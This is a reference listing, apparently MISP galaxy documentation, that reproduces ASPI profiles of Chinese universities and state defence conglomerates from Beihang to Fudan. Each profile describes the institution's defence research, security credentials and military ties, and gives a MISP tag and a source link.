Beihang University engages in very high levels of defence research as one of the ‘Seven Sons of National Defence’ subordinate to the Ministry of Industry and Information Technology. The university specialises in aviation and spaceflight research. The top four employers of Beihang graduates in 2018 were all state-owned missile or defence aviation companies. In total, 29% of 2018 Beihang graduates who found employment were working in the defence sector.Beihang scientists are involved in the development of Chinese military aircraft and missiles. In 2018, the university signed a comprehensive strategic cooperation agreement with China Aerospace Science and Technology Corporation, a state-owned conglomerate that produces ballistic missiles and satellites. The university is also noteworthy for its leading research on stealth technology.Beihang hosts at least eight major defence laboratories working on fields such as aircraft engines, inertial navigation and fluid dynamics.

The tag is: misp-galaxy:china-defence-universities="Beihang University (北京航空航天大学)"

Table 581. Table References
Links
https://unitracker.aspi.org.au/universities/beihang-university

Beijing Electronic Science and Technology Institute (北京电子科技学院)

BESTI is a secretive university that trains information security experts for the bureaucracy. The institute is the only university run by the CCP General Office, which manages administrative matters for the Central Committee. The General Office is usually run by one of the general secretary’s most trusted aides. It oversees China’s cryptographic and state secrets agency as well as security for the party’s leadership.BESTI has a student population of around 2,000 and has strict admission requirements. Students at the university are scrutinized for their political beliefs, and are typically CCP or Communist Youth League members. The activities of their relatives are screened for political issues. Having no parents or siblings who worked abroad or were involved in ‘illegal organisations’ is a condition of enrolment. The institute claims to count 50 ministerial-level party officials among its 12,000 graduates.BESTI has a close relationship with Xidian University and Beijing University of Posts and Telecommunications. The two universities are its primary collaborators on scientific papers. BESTI runs joint master’s programs with Xidian University in cryptography, information and communication engineering, and computer applications technology. It also has joint doctoral programs with the University of Science and Technology of China and Beijing University of Posts and Telecommunications in cybersecurity.The university runs the Key Laboratory of Information Security (信息安全重点实验室/信息安全与保密重点实验室). Several websites claim that it runs a joint laboratory with the Chinese Academy of Sciences Institute of High Energy Physics, but this could not be confirmed.

The tag is: misp-galaxy:china-defence-universities="Beijing Electronic Science and Technology Institute (北京电子科技学院)"

Table 582. Table References
Links
https://unitracker.aspi.org.au/universities/beijing-electronic-science-and-technology-institute

Beijing Institute of Technology (北京理工大学)

BIT is one of the ‘Seven Sons of National Defence’ supervised by MIIT. It is a leading centre of military research and one of only fourteen institutions accredited to award doctorates in weapons science. In 2017, China’s Ministry of Education ranked BIT and Nanjing University of Science and Technology as the country’s top institutions for weapons science. It has received the most defence research prizes and defence patents out of all China’s universities. 31.80% of BIT graduates in 2018 who found employment were working in the defence sector.BIT’s claimed achievements include producing the PRC’s first light tank, first two-stage solid sounding rocket and first low-altitude altimetry radar. The university also states that it carries out world-class research on several areas of missile technology including “precision strikes, high damage efficiency, maneuver penetration, long-range suppression, and military communications systems and counter-measures”. In 2018, BIT announced that it was running a four-year experimental program training some of China’s top high school students in intelligent weapons systems.BIT is the chair of the B8 Cooperation Innovation Alliance (B8协同创新联盟 or 中国兵器协同创新联盟), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器).BIT’s central role in advancing PLA warfighting capability is demonstrated by the fact that it participated in the development of equipment used by 22 of the 30 squads in the 2009 military parade for the 60th anniversary of the founding of the PRC.

The tag is: misp-galaxy:china-defence-universities="Beijing Institute of Technology (北京理工大学)"

Table 583. Table References
Links
https://unitracker.aspi.org.au/universities/beijing-institute-of-technology

Beijing University of Chemical Technology (北京化工大学)

BUCT is subordinate to the Ministry of Education. The university engages in high levels of defence research. In 2016, the Ministry of Education and defence industry agency SASTIND agreed to jointly construct BUCT, a move designed to expand its involvement in defence research.Between 2011 and 2015, the university’s spending on defence research reached RMB272 million (AUD56 million), approximately 15% of the university’s research spending and an increase of around 50% over the previous five years.BUCT specialises in the development and application of critical materials for the defence industry. Its research on carbon fibres has been applied to the aerospace industry.BUCT holds secret-level security credentials, allowing it to participate in classified defence and weapons technology projects.

The tag is: misp-galaxy:china-defence-universities="Beijing University of Chemical Technology (北京化工大学)"

Table 584. Table References
Links
https://unitracker.aspi.org.au/universities/beijing-university-of-chemical-technology

Beijing University of Posts and Telecommunications (北京邮电大学)

BUPT is subordinate to the Ministry of Education in addition to being jointly constructed by the Ministry of Industry and Information Technology. BUPT is one of eight Chinese universities known to have received top-secret security credentials. Since its establishment, the university has focused on information engineering and computer science, and has continued to produce important defence and security technology research.The School of Cyberspace Security is home to one of the university’s two defence laboratories—the Key Laboratory of Network and Information Attack & Defense Technology of Ministry of Education—which carries out research for the Chinese military related to cyber attacks.BUPT is a member of several military-civilian fusion (MCF) alliances and has been awarded for its contributions to MCF and the PLA. During the past three years, major employers of BUPT graduates include the Ministry of State Security, the Ministry of Public Security and MIIT. This suggests a close relationship between BUPT and China’s security and intelligence agencies.

The tag is: misp-galaxy:china-defence-universities="Beijing University of Posts and Telecommunications (北京邮电大学)"

Table 585. Table References
Links
https://unitracker.aspi.org.au/universities/beijing-university-of-posts-and-telecommunications

Central South University (中南大学)

Out of all universities subordinate to the MOE, CSU reportedly receives the most military research funding and was the first to receive a weapons production license. In 2008 and 2011 respectively, the defence industry agency SASTIND and the Ministry of Education (MOE) signed agreements to jointly supervise CSU. Under this arrangement, SASTIND committed to expanding CSU’s involvement in defence research and support the development of its School of Aeronautics and Astronautics and Military Industry Technology Research Institute.CSU’s defence research appears to focus on metallurgy, materials science, and aviation technology, including the development of heat-resistant materials for aeroplane and rocket engines. The university has been involved in the development of China’s first atomic bomb, first intermediate-range ballistic missile, and first nuclear submarine. In 2018, it signed a strategic cooperation agreement with the Chinese Academy of Launch Vehicle Technology, a subsidiary of China Aerospace Science and Technology Corporation that is included on the US BIS Entity List for its involvement in developing rockets.

The tag is: misp-galaxy:china-defence-universities="Central South University (中南大学)"

Table 586. Table References
Links
https://unitracker.aspi.org.au/universities/central-south-university

Changchun University of Science and Technology (长春理工大学)

CUST is primarily supervised by the Jilin Provincial Government but has also been under the administration of SASTIND and its predecessors for over 30 years over its history. The university specialises in photoelectric technology and has a strong focus on defence research. CUST describes itself as having ‘safeguarding national defence as its sublime responsibility and sacred mission.’CUST is a member of the B8 Cooperation Innovation Alliance (B8协同创新联盟 or 中国兵器协同创新联盟), a group of eight Chinese research institutions that specialize in armaments science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). In April 2018, CUST established the School of Artificial Intelligence (人工智能学院) and the Artificial Intelligence Research Institute (人工智能研究院 ). CUST researchers working on AI are likely involved in research related to facial recognition technology.

The tag is: misp-galaxy:china-defence-universities="Changchun University of Science and Technology (长春理工大学)"

Table 587. Table References
Links
https://unitracker.aspi.org.au/universities/changchun-university-of-science-and-technology

China Aerodynamics Research and Development Center (中国空气动力研究与发展中心)

CARDC claims to be China’s largest aerodynamics research and testing base. It hosts the State Key Laboratory of Aerodynamics (空气动力学国家重点实验室), which includes five wind tunnels and a large computer cluster. CARDC is heavily involved in research on hypersonics.While CARDC is a military unit, its website does not mention this. The PLA officers leading the facility are instead pictured on its website in civilian clothes(pictured: CARDC director, Major General Fan Zhaolin (范召林) in uniform (above) and in civilian attire on CARDC’s website (below).

The tag is: misp-galaxy:china-defence-universities="China Aerodynamics Research and Development Center (中国空气动力研究与发展中心)"

Table 588. Table References
Links
https://unitracker.aspi.org.au/universities/china-aerodynamics-research-and-development-center

China Aerospace Science and Industry Corporation (中国航天科工集团有限公司)

CASIC specialises in defence equipment and aerospace products, particularly short- and medium-range missiles. CASIC is a leading provider to the Chinese military of high-end capabilities such as air-defence, cruise, and ballistic missile systems along with space launch vehicles, micro-satellites and anti-satellite interceptors, according to Mark Stokes and Dean Cheng. CASIC employs over 146,000 employees and is on the Fortune 500 list with revenue exceeding USD37 billion (AUD55 billion).Although defence products form part of CASIC’s main product line, the company also produces products for civilian customers such as electronics, communications equipment and medical equipment. Nevertheless, CASIC claims that it ‘will always uphold its core value of ranking national interests above all’, which indicates that civilian products receive less priority than defence equipment.

The tag is: misp-galaxy:china-defence-universities="China Aerospace Science and Industry Corporation (中国航天科工集团有限公司)"

Table 589. Table References
Links
https://unitracker.aspi.org.au/universities/china-aerospace-science-and-industry-corporation

China Aerospace Science and Technology Corporation (中国航天科技集团)

CASC was established in 1999 as a defence aerospace conglomerate. The company is primarily focused on ‘developing carrier rockets, various kinds of satellites, … and tactical missile systems.’ With revenues nearing USD38 billion (AUD55 billion), CASC employs nearly 180,000 personnel and is on the Fortune 500 list.PLA experts Mark Stokes and Dean Cheng have noted that CASC’s main products for the PLA include ‘ballistic missiles and space launch vehicles, large solid rocket motors, liquid fuelled engines, satellites, and related sub-assemblies and components.’ The Federation of American Scientists claims CASC is particularly advanced in high-energy propellant technology, satellite applications, strap-on boosters and system integration.CASC maintains an investment business which may be geared towards civilian purposes, according to Bloomberg. The Federation of American Scientists notes that some civilian product lines for CASC include ‘machinery, chemicals, communications equipment, transportation equipment, computers, medical care products and environmental protection equipment.’CASC oversees multiple research academies, which have been separately identified by Mark Stokes and Dean Cheng and by the Nuclear Threat Initiative.The Nuclear Threat Initiative has identified that CASC has the following subordinate companies:

The tag is: misp-galaxy:china-defence-universities="China Aerospace Science and Technology Corporation (中国航天科技集团)"

Table 590. Table References
Links
https://unitracker.aspi.org.au/universities/china-aerospace-science-and-technology-corporation

China Coast Guard Academy (中国人民武装警察部队海警学院)

The China Coast Guard Academy is an institution of higher learning that trains personnel for entry into China’s maritime border defence agency. The academy teaches conducts research and training in maritime law enforcement, warship technology as well as surveillance and intelligence disciplines.The China Coast Guard Academy established the Large Surface Vessel Operation and Simulation Laboratory (大型船艇操纵仿真实验室) in 2016, which focuses on the development of white-hulled boats for the China Coast Guard.

The tag is: misp-galaxy:china-defence-universities="China Coast Guard Academy (中国人民武装警察部队海警学院)"

Table 591. Table References
Links
https://unitracker.aspi.org.au/universities/china-coast-guard-academy

China Electronics Corporation (中国电子信息产业集团有限公司)

CEC is a state-owned conglomerate that produces dual-use electronics. The company was established in 1989 to produce semi-conductors, electronic components, software and telecommunications products. The company describes itself as a defence industry conglomerate.CEC is one of China’s largest companies with nearly 120 thousand employees. CEC claims to hold 22 subordinate enterprises and 14 listed companies. Global Security has provided a list of CEC’s 36 member companies in English.CEC is divided into two operational groups. First is the China Electronics Party Institute (中国电子党校), which provides disciplinary oversight and organises communist party activities within CEC. Second is the Science and Technology Committee (科学技术委员会), which is responsible for research and development within CEC.CEC’s defence electronics are developed by the Military Engineering Department (军工部) within CEC’s Science and Technology Committee. Key defence electronics produced by CEC include tracking stations, radar technology, as well as command and control systems. The company maintains its own office for the management of classified information related to defence research. The Federation of American Scientists has identified CEC’s defence-related enterprises on a list that can be found here.

The tag is: misp-galaxy:china-defence-universities="China Electronics Corporation (中国电子信息产业集团有限公司)"

Table 592. Table References
Links
https://unitracker.aspi.org.au/universities/china-electronics-corporation

China Electronics Technology Group Corporation (中国电子科技集团公司)

CETC is a state-owned defence conglomerate that specialises in dual-use electronics. The company was established in 2002 by bringing dozens of research institutes administered by the Ministry of Information Industry, the predecessor to the Ministry of Industry and Information Technology, under one umbrella.CETC is one of the world’s largest defence companies. It claims to have 523 subordinate units and companies and 160,000 employees.CETC divides its defence electronics products into seven categories: air base early warning, integrated electronic information systems, radar, communication and navigation, electronic warfare, UAVs and integrated IFF (identification, friend or foe). CETC also provides technology used for human rights abuses in Xinjiang, where approximately 1.5m are held in re-education camps.Several CETC research institutes and subsidiaries have been added to the US Government’s entity list, restricting exports to them on national security grounds. CETC has been implicated by the US Department of Justice in at least three cases of illegal exports.CETC has a large international market and has also expanded its international research collaboration in recent years. It has a European headquarters in Graz, Austria, and has invested in the University of Technology Sydney.

The tag is: misp-galaxy:china-defence-universities="China Electronics Technology Group Corporation (中国电子科技集团公司)"

Table 593. Table References
Links
https://unitracker.aspi.org.au/universities/china-electronics-technology-group-corporation

China National Nuclear Corporation (中国核工业集团有限公司)

CNCC is the leading state-owned enterprise for China’s civilian and military nuclear programs. It consists of more than 200 subordinate enterprises and research institutes, many of which are listed on the Nuclear Threat Initiative website. In 2018, CNNC took over China’s main nuclear construction company, China Nuclear Engineering and Construction Group (中国核工业建设集团).The company is organized into eight industrial sectors, including nuclear power, nuclear power generation, nuclear fuel, natural uranium, nuclear environmental protection, application of nuclear technologies, non-nuclear civilian products and new energy sources. CNNC is mainly engaged in research and development, design, construction and production operations in the fields of nuclear power, nuclear fuel cycle, nuclear technology application, and nuclear environmental protection engineering.Because of the dual-use nature of nuclear technologies, the nuclear industry is a typical military-civil fusion industry. Naval nuclear power technology and nuclear reactor technology in the reactor core, fuel assembly, safety and security, and radioactive waste treatment all use the same or very similar processes. In March 2019, CNNC established an military-civil fusion fund dedicated to dual-use nuclear technology research and design.Two CNNC subsidiaries have been added to the US Government’s Entity List, restricting exports to them on national security grounds.CNNC has cooperated with U.S. Westinghouse Electric to construct AP1000 nuclear power plants. The company also has a significant overseas presence, signing agreements for joint research with U.S., French, Canadian, U.K., Russian and Argentinian companies.

The tag is: misp-galaxy:china-defence-universities="China National Nuclear Corporation (中国核工业集团有限公司)"

Table 594. Table References
Links
https://unitracker.aspi.org.au/universities/china-national-nuclear-corporation

China North Industries Group (中国兵器工业集团公司)

Norinco Group was established in 1999 as a state-owned defence conglomerate devoted to the development and production of armaments for Chinese and foreign defence customers. Its main defence products include artillery and tear gas, air defence and anti-missile systems, anti-tank missiles and precision-guided munitions as well as armoured vehicles such as main battle tanks and infantry combat vehicles. Bloomberg reports that Norinco Group’s civilian products include various engineering services and heavy-duty construction equipment. Norinco Group employs over 210,000 personnel, has revenues exceeding US$68.8 billion and is listed on the Fortune 500.Norinco Group has hundreds of subsidiaries and subordinate research institutes in China and around the world that have been catalogued by the International Peace Information Service and Omega Research Foundation in their working paper on the company and on Norinco Group’s website.Norinco Group’s Institute of Computer Application Technology (中国兵器工业计算机应用技术研究所) was one of the first adopters of internet technology and remains a leading company for research into network security. The institute hosts four internet research centres and is reported to work with the National Administration for State Secrets Protection (国家保密局) on the Information Security and Testing and Evaluation Centre (涉密信息系统安全保密测评中心).

The tag is: misp-galaxy:china-defence-universities="China North Industries Group (中国兵器工业集团公司)"

Table 595. Table References
Links
https://unitracker.aspi.org.au/universities/china-north-industries-group

China People’s Police University (中国人民警察大学)

The China People’s Police University is an institution of higher learning devoted to training active duty police officers and firefighters in command and management as well as specialist technical officers. The curriculum is separated into two main streams, one for police officers and the other for firefighters. Its police disciplines include immigrant management, entry-exit and border control management, security intelligence, cyber-security, and political work. Its firefighting disciplines include firefighting engineering, electronic information engineering, and nuclear and biochemical fire control.Research facilities at the university include:

The tag is: misp-galaxy:china-defence-universities="China People’s Police University (中国人民警察大学)"

Table 596. Table References
Links
https://unitracker.aspi.org.au/universities/china-peoples-police-university

China Shipbuilding Industry Corporation (中国船舶重工集团有限公司)

CSIC was established as one of China’s primary state-owned defence companies on 1 July 1999. CSIC is the PLA Navy’s largest supplier of weapons platforms, accounting for nearly 80 per cent of all armaments. CSIC’s signature products include conventional and nuclear submarines, warships and torpedoes, as well as the Liaoning aircraft carrier program.CSIC maintains a civilian shipbuilding program alongside its program of supplying the PLA Navy. CSIC’s civilian work includes the production of oil and chemical tankers, container ships, bulk carriers and engineering ships.On 2 July 2019, it was announced that CSIC and the China State Shipbuilding Corporation would merge. According to Janes Defence Weekly, ‘the two groups, which have combined assets of about USD120 billion and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.’ Nikkei has listed some of CSIC’s main subsidiaries here.

The tag is: misp-galaxy:china-defence-universities="China Shipbuilding Industry Corporation (中国船舶重工集团有限公司)"

Table 597. Table References
Links
https://unitracker.aspi.org.au/universities/china-shipbuilding-industry-corporation

China South Industries Group (中国兵器装备集团有限公司)

CSGC is a leading producer of armaments for the People’s Liberation Army. It was founded in 1999 and works on technologies such as advanced munitions, mobile assault weapons, lights armaments, information optoelectronics and counter-terrorism equipment. CSGC also maintains civilian product lines focused on the oil and energy sector, but most of the company’s attention goes to developing armaments. The company employs nearly 200,000 personnel, its revenue approaches USD34 billion (AUD50 billion) and it is listed as a Fortune 500 company.CSGC holds a controlling share in more than 60 subsidiaries. 32 of these are listed on the company’s website.

The tag is: misp-galaxy:china-defence-universities="China South Industries Group (中国兵器装备集团有限公司)"

Table 598. Table References
Links
https://unitracker.aspi.org.au/universities/china-south-industries-group

China State Shipbuilding Corporation (中国船舶工业集团有限公司)

CSCC was established as one China’s primary state-owned weapons companies on 1 July 1999 to build ships for military and civilian customers. CSSC markets itself as as the ‘backbone’ of the Chinese navy and its core products include a variety of warships and support vessels. Alongside its program supporting the PLA Navy, Bloomberg notes that CSSC ‘produces oil tankers, bulk carriers, conditioner vessels, deepwater survey ships, and marine equipment.’On 2 July 2019, it was announced that the China Shipbuilding Industry Corporation and the CSSC would merge. According to Jane’s Defence Weekly, ‘the two groups, which have combined assets of about USD120 billion (AUD178 billion) and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.’

The tag is: misp-galaxy:china-defence-universities="China State Shipbuilding Corporation (中国船舶工业集团有限公司)"

Table 599. Table References
Links
https://unitracker.aspi.org.au/universities/china-state-shipbuilding-corporation

China University of Geosciences (Wuhan) (中国地质大学)

CUG is subordinate to the Ministry of Education and also supervised by China’s Ministry of Land and Resources. It is actively engaged in defence research and training on geology, hosting the defence-focused Ministry of Education Key Laboratory on Geological Exploration and Evaluation. The laboratory was established in 2018, has 56 staff, and trains students in ‘military geology’.CUG gained secret-level security credentials in 2009, enabling it to participate in classified defence projects.

The tag is: misp-galaxy:china-defence-universities="China University of Geosciences (Wuhan) (中国地质大学)"

Table 600. Table References
Links
https://unitracker.aspi.org.au/universities/china-university-of-geosciences-wuhan

China University of Mining and Technology (中国矿业大学)

CUMT is subordinate to the Ministry of Education and specialises in engineering and other mining and industry-related disciplines. It engages in low levels of defence research.CUMT’s defence research revolves around manufacturing and design, materials science, control science, electronic components, power and energy, and bionics. It appears to be involved in the construction and design of underground bunkers for the military. The academic committee of its State Key Laboratory for Geomechanics and Deep Underground Engineering (深部岩石力学与地下工程国家红点实验室) is headed by PLA underground engineering expert Qian Qihu (钱七虎).

The tag is: misp-galaxy:china-defence-universities="China University of Mining and Technology (中国矿业大学)"

Table 601. Table References
Links
https://unitracker.aspi.org.au/universities/china-university-of-mining-and-technology

Chinese Academy of Engineering Physics (中国工程物理研究院)

CAEP was founded in 1958 and now has over 24,000 employees. It is headquartered in Mianyang, Sichuan Province, but also has facilities in Chengdu and Beijing. Notably, Mianyang is home to a military-civil fusion (MCF) demonstration base—the Sichuan Mianyang High-Technology City. Sichuan Military District Commander Jiang Yongshen (姜永申) in 2016 stressed the important role that Mianyang plays in China’s larger science and technology development and the significance of its military-civil fusion (MCF) demonstration base.The academy is best known for nuclear weapons, but also carries out research on directed-energy weapons. CAEP’s four main tasks are to develop nuclear weapons, research microwaves and lasers for nuclear fusion ignition and directed-energy weapons, study technologies related to conventional weapons, and deepen military-civil fusion. It claims that its research covers 260 specialising, primarily in the broad areas of physics and mathematics, mechanics and engineering, materials and chemistry, electronics and information, and optics and electrical engineering.CAEP hosts part of the Tianhe-2 supercomputer, one of the worlds fastest supercomputers.Despite the sensitivity of its work, CAEP has expanded its international presence in recent years. It claims to send hundreds of scientists overseas to study or work as visiting scholars. CAEP has also used Chinese government talent recruitment schemes such as the Thousand Talents Plan to recruit dozens of scientists from abroad. By 2015, CAEP had recruited 57 scholars through the Thousand Talents Plan, making it one of the largest recruiters of Thousand Talents Plan scholars.CAEP maintains strong collaborative relationships with Chinese civilian universities. It runs a joint laboratory with the University of Electronic Science and Technology of China and collaborates with universities and research institutions including the Chinese Academy of Sciences, the University of Science and Technology of China, Shandong University, Southwest University of Science and Technology, Sichuan University, Jilin University, Peking University and Tsinghua University. CAEP sponsors postgraduate students in many of these institutions who are required to work there for five years after graduating.

The tag is: misp-galaxy:china-defence-universities="Chinese Academy of Engineering Physics (中国工程物理研究院)"

Table 602. Table References
Links
https://unitracker.aspi.org.au/universities/chinese-academy-of-engineering-physics

Chongqing University (重庆大学)

CQU is a leading Chinese research institution subordinate to the Ministry of Education. Chongqing University is home to at least two laboratories devoted to defence research on nanotechnology and control systems. An institution accredited to conduct classified research, Chongqing University is active in improving its security culture with respect to the safeguarding of official secrets.In December 2016, the Ministry of Education entered an agreement with defence industry agency SASTIND to advance military-civil fusion at Chongqing University. Following this agreement, Chongqing University established the defence-focused Ministry of Education Key Laboratory for Complex Systems Safety and Autonomous Control, which works on control systems engineering in May 2018.

The tag is: misp-galaxy:china-defence-universities="Chongqing University (重庆大学)"

Table 603. Table References
Links
https://unitracker.aspi.org.au/universities/chongqing-university

Chongqing University of Posts and Telecommunications (重庆邮电大学)

CQUPT is involved in research on wireless network engineering and testing, next-generation wideband wireless communication, computer networking and information security, intelligent information processing, advanced manufacturing, micro-electronics and specialized chip design. It ranks among the top 100 universities in China for science and technology.The university is supervised by the Ministry of Industry and Information Technology and the Chongqing Municipal Government. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.

The tag is: misp-galaxy:china-defence-universities="Chongqing University of Posts and Telecommunications (重庆邮电大学)"

Table 604. Table References
Links
https://unitracker.aspi.org.au/universities/chongqing-university-of-posts-and-telecommunications

Chongqing University of Technology (重庆理工大学)

CQUT is a member of the B8 Cooperation Innovation Alliance (B8协同创新联盟 or 中国兵器协同创新联盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (兵器). However its involvement in defence research does not appear as expansive as the other B8 members and it is a relatively low-ranked university. In 2017, its president stated that ‘Chongqing is an important site for the weapons industry, but its military-industrial research and development ability has not yet upgraded.’ Unlike the other members of the B8, SASTIND does not appear to supervise the university.The university has links to Norinco Group and China South Industries Group, China’s largest weapons manufacturers, and was under the supervision of the conglomerates’ predecessor, China Ordnance Industry Corporation, until 1999. In 2017 and 2018, it signed a partnerships with four local defence companies to collaborate on research and training.In 2011, CQUT received secret-level security credentials, enabling it to participate in classified defence projects.

The tag is: misp-galaxy:china-defence-universities="Chongqing University of Technology (重庆理工大学)"

Table 605. Table References
Links
https://unitracker.aspi.org.au/universities/chongqing-university-of-technology

Commercial Aircraft Corporation of China (中国商用飞机有限责任公司)

COMAC was established in 2008 as a state-owned manufacturer of large commercial aircraft. The company oversees eleven subsidiaries that focus on various aspects of aircraft production. A list of COMAC’s subordinate companies can be found in English on the company’s website.Despite its focus on commercial aircraft, China’s Ministry of Industry and Information Technology has referred to it as a defence industry conglomerate. The company maintains strong links to China’s defence industry and some of its leadership is drawn from former executives at state-owned military aircraft and missile manufacturers. China’s leading producer of military aircraft, the Aviation Industry Corporation of China (AVIC), also holds a 10 per cent share in COMAC. COMAC supports the continued development of China’s defence industry by awarding ‘national defence technology scholarships’ to Chinese university students.COMAC’s signature passenger aircraft, the C919, offers an example of how the company could use its civilian aircraft production for military purposes. Numerous Chinese analysts have studied Boeing’s conversion of the 737 into the P-8 Poseidon and E-7A surveillance aircraft and argue that the C919 could also be retrofitted for early warning as well as anti-surface and anti-submarine warfare missions. With a greater flight range than China’s other military aircraft, a retrofitted C919 for maritime surveillance operations could reduce China’s dependence on artificial air bases in the South China Sea which currently render aircraft vulnerable to corrosion due to harsh weather conditions. Vice-Chairman of the Central Military Commission, Zhang Youxia, reportedly expressed an interest in learning from American companies in converting civilian aircraft into military aircraft while inspecting COMAC’s C919.

The tag is: misp-galaxy:china-defence-universities="Commercial Aircraft Corporation of China (中国商用飞机有限责任公司)"

Table 606. Table References
Links
https://unitracker.aspi.org.au/universities/commercial-aircraft-corporation-of-china

Criminal Investigation Police University of China (中国刑事警察学院)

CIPUS was founded in May 1948 and underwent several name changes, but was upgraded in 1981 to become the first police university offering a specialised undergraduate degree program. It runs a national engineering laboratory, two MPS key laboratories, and provincial key laboratories. It is focused on training in criminal investigation, criminology science and technology and criminal law.The university also has relationships with companies that provide the technological tools that contribute to the PRC’s public security apparatus. For instance, it has a relationship with the company Haiyun Data on public security intelligence. Haiyun provides data visualization services for MPS bureaus across China.

The tag is: misp-galaxy:china-defence-universities="Criminal Investigation Police University of China (中国刑事警察学院)"

Table 607. Table References
Links
https://unitracker.aspi.org.au/universities/criminal-investigation-police-university-of-china

Dalian Minzu University (大连民族大学)

DLMU was established in 1984 as an institution that researches China’s ethnic minorities. The university is overseen by the State Ethnic Affairs Commission (SEAC), the Liaoning Provincial Government and the Dalian Municipal Government.Scientific disciplines taught by DLMU include communications and information engineering, machine engineering, civil engineering and environmental science. DLMU also researches political thought and minority groups of northeast China.DLMU currently hosts the Dalian Key Lab of Digital Technology for National Culture (大连市民族文化数字技术重点实验室). Researchers at laboratory carry out research on facial recognition of ethnic minorities. The laboratory has collaborated with an academic from Curtin University on research related to the facial recognition of Tibetans, Koreans and Uyghurs—over one million of whom have disappeared into re-education camps. DLMU researchers are working on a database of facial and optical movements across different ethnic groups.DLMU also hosts the State Ethnic Affairs Commission Key Laboratory of Intelligent Perception and Advanced Control (国家民委智能感知与先进控制重点实验室), housed within the university’s College of Electromechanical Engineering (机电工程学院). The laboratory has done work on convolutional neural networks for visual image recognition, which could have applications for surveillance technology.DLMU’s party committee has an active United Front Work Department. The department supervises non-CCP members and students returning from overseas study. Management of religious and ethnic minorities are likely to be other priorities for the department.

The tag is: misp-galaxy:china-defence-universities="Dalian Minzu University (大连民族大学)"

Table 608. Table References
Links
https://unitracker.aspi.org.au/universities/dalian-minzu-university

Dalian Naval Academy (中国人民解放军海军大连舰艇学院)

The Dalian Naval Academy is one of the main training colleges for junior officers and cadets in the PLA Navy. The academy focuses on maritime navigation technology, communications engineering, electronic information engineering, weapons systems engineering, surveying and control science.Scientists from the Dalian Naval Academy produce publications on a variety of defence topics, including:

The tag is: misp-galaxy:china-defence-universities="Dalian Naval Academy (中国人民解放军海军大连舰艇学院)"

Table 609. Table References
Links
https://unitracker.aspi.org.au/universities/dalian-naval-academy

Dalian University of Technology (大连理工大学)

DLUT is directly under the administration of the Ministry of Education. In 2018, it came under the supervision of defence industry agency SASTIND as part of the government’s efforts to deepen military-civil fusion in the university sector. In 2006, the university received secret-level security credentials, allowing it to participate in classified defence technology projects. Since then, it has expanded cooperation with the PLA Navy and joined several military-civil fusion innovation alliances.In 2015, the university established a defence laboratory in the School of Mechanical Engineering. The laboratory was proposed by a professor within the University’s Institute of Science and Technology. The Institute of Science and Technology is primarily responsible for high-tech project management, where they manage projects for the 973 Program, the National Natural Science Foundation, and the Ministry of Education.

The tag is: misp-galaxy:china-defence-universities="Dalian University of Technology (大连理工大学)"

Table 610. Table References
Links
https://unitracker.aspi.org.au/universities/dalian-university-of-technology

Donghua University (东华大学)

DHU is subordinate to the Ministry of Education. It is actively involved in defence research on materials. It hosts the Key Laboratory of High Performance Fibers & Products, a defence-focused laboratory involved in materials science and textiles engineering research for China’s defence industry and weapons systems. The laboratory is specifically involved in developing materials for weapons casings, vehicular armour, aviation and cabling. The university holds secret-level security credentials, allowing it to participate in classified defence research projects.DHU claims that much of its research has been applied to fields such as defence technology and aviation, and contributed towards China’s space program and Beidou satellite navigation system. In 2018, the university signed a strategic cooperation agreement with the state-owned Jihua Group (际华集团) for collaboration on textiles to meet the military’s needs.

The tag is: misp-galaxy:china-defence-universities="Donghua University (东华大学)"

Table 611. Table References
Links
https://unitracker.aspi.org.au/universities/donghua-university

East China University of Technology (东华理工大学)

ECUT was founded in 1956 as the first institution of higher education for China’s nuclear industry. Since 2001, it has been subject to four ‘joint construction’ agreements between the Jiangxi Provincial Government and defence industry agency SASTIND or its predecessor COSTIND. These agreements are designed to develop the university’s involvement in defense-related research and training. The Ministry of Natural Resources and defence conglomerate China National Nuclear Corporation are also involved in supervising and supporting ECUT.ECUT carries out defence research related to nuclear science and hosts a defence laboratory on radioactive geology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects. In 2006, the East China University of Technology National Defence Technology Institute (东华理工大学国防科技学院) was established.

The tag is: misp-galaxy:china-defence-universities="East China University of Technology (东华理工大学)"

Table 612. Table References
Links
https://unitracker.aspi.org.au/universities/east-china-university-of-technology

Engineering University of the CAPF (中国人民武装警察部队工程大学)

The Engineering University of the CAPF is an institution devoted to training personnel in China’s paramilitary service, the People’s Armed Police, in command and engineering disciplines. The university focuses on paramilitary information engineering, paramilitary equipment technology, non-lethal weapons, military communications and mathematical cryptography. Students of the university can select majors from disciplines such as communications engineering, information security, military big data engineering, management science and engineering, and mechanical engineering.The Engineering University of the CAPF hosts the Key Military Laboratory for Non-Lethal Weapons (非致命武器等全军重点实验室), the Big Data and Cloud Computing Laboratory (大数据与云计算实验室), and the Command Automation Training Centre (指挥自动化培训中心), indicating expertise in these areas.The Engineering University of the CAPF has collaborated significantly with a Beijing-based company called SimpleEdu (北京西普阳光教育科技股份有限公司), focusing primarily on social media and internet research. Below is a list of initiatives with which the Engineering University of the CAPF has collaborated:

The tag is: misp-galaxy:china-defence-universities="Engineering University of the CAPF (中国人民武装警察部队工程大学)"

Table 613. Table References
Links
https://unitracker.aspi.org.au/universities/engineering-university-of-the-capf

Fudan University (复旦大学)

Fudan University is among China’s best universities. It was ranked 104th in the world by Times Higher Education in 2019. The university appears to engage high levels of work for the military on materials science, including stealth technology.All defence-related projects and matters in Fudan are managed by the university’s Institute of Special Materials and Technology (专用材料与装备技术研究院) and Defence Industry Secrets Committee (复旦大学军工保密委员会). The Institute of Special Materials and Technology specialises in defence research and works on simulations, precision manufacturing, and materials. Professor Ye Mingxin, the institute’s director, is also an advisor to the PLA and defence companies on materials science. Fudan University’s Materials Science Department includes one professor who is described as specifically being a ‘defence system professor’, which may refer to Professor Ye. In 2011, Fudan established a State Secrets Academy (国家保密学院), in partnership with China’s National Administration of State Secrets Protection (国家保密局). The institute carries out research and training on the protection of state secrets.

The tag is: misp-galaxy:china-defence-universities="Fudan University (复旦大学)"

Table 614. Table References
Links
https://unitracker.aspi.org.au/universities/fudan-university

